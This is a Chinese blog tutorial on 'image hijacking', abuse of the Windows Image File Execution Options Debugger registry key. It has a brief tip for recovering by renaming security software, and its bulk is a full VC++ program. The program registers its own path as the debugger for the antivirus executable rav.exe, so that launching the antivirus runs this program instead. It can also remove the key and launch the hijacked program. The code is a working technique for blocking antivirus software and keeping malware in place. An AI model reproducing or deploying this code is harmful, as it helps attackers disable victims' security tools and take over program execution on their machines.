VC++编程实现镜像劫持

所谓的镜像劫持，就是在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options]处新建一个以杀毒软件主程序命名的项，例如Rav.exe。然后再创建一个子键“Debugger="C:\WINDOWS\system32\drivers\”。以后只要用户双击 Rav.exe就会运行OSO的病毒文件，类似文件关联的效果。
镜像劫持的简单解决方法

　　如果电脑上有杀毒软件或360什么的但是中了镜像劫持是安全软件无法运行的话，
　　其实只需要更改一下安全软件的名字就能不被镜像劫持利用，个人认为这是最适合初学者的最简单办法。
　　首先找到安全软件的位置大部分都放在program files文件夹下。 找到名字例如拿360做例子原文件路径X:\Program Files\360safe原名为360Safe.exe 你把名字改为36015safe.exe(名字什么都行不过就不能是安全软件的名字)然后双击此安全软件就会过镜像劫持开始运行，后面的查杀就不需要说什么了吧。这小操作可以解决燃眉之急啦。

[cpp] view plain copy print ?

1. #include "stdafx.h" 
2. #include <stdio.h> 
3. #include <windows.h> 
4.  
5. int main(int argc, char* argv[]) 
6. { 
7.     char temp[256]; 
8.     DWORD ret; 
9.     LPCTSTR szRegKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; //定义字符串指针，保存映像劫持的键位 
10.     HKEY h_KEY; 
11.     if(argc!=1)   //如果参数不是1个，提取第2个参数，也就是被劫持程序的路径 
12.     { 
13.         memset(temp,0,256); 
14.         strcpy(temp,argv[1]);    
15.         for(int i=0;i<strlen(temp);i++)    //将路径中的\换为/，也可以换为\\，就是代码长了点 
16.         { 
17.             if(temp[i]=='\\') 
18.                 temp[i]='/'; 
19.         }                         
20.         ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄 
21.         if(ret==ERROR_SUCCESS) 
22.         { 
23.             printf("open ok!\n"); 
24.             if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除 
25.             { 
26.                 printf("delete ok!\n"); 
27.                 RegCloseKey(h_KEY); 
28.                 WinExec(temp,SW_SHOW);    //运行被劫持的程序 
29.             } 
30.             else 
31.             { 
32.                 printf("delete failed!\n"); 
33.                 RegCloseKey(h_KEY); 
34.             }            
35.         } 
36.         else 
37.         printf("open failed!\n"); 
38.     } 
39.     memset(temp,0,256); 
40.     GetModuleFileName(NULL,temp,256);   //得到程序自己的路径，为下面写入注册表做准备 
41.     HKEY hResultKey = NULL; 
42.     if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))  //打开注册表中映像劫持的子键，获得句柄 
43.     { 
44.         DWORD dw; 
45.         ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);  //在上面打开的子键下创建rav子键并打开，获得句柄 
46.         if (ret!=ERROR_SUCCESS) 
47.         { 
48.         RegCloseKey(h_KEY); 
49.         printf("creat failed!\n"); 
50.         return 1; 
51.         } 
52.         printf("creat ok!\n"); 
53.         ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);   //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持 
54.         if(ret!=ERROR_SUCCESS) 
55.         { 
56.         RegCloseKey(h_KEY); 
57.         RegCloseKey(hResultKey); 
58.         return 1; 
59.         } 
60.         RegCloseKey(h_KEY); 
61.         RegCloseKey(hResultKey); 
62.         printf("set ok!\n"); 
63.     } 
64.     MessageBox(NULL,"ok!","成功！",MB_OK);    //用于测试程序，可以监视 
65.      
66.  
67.     return 0; 
68. } 

原文地址： http://blog.csdn.net/yincheng01/article/details/8107407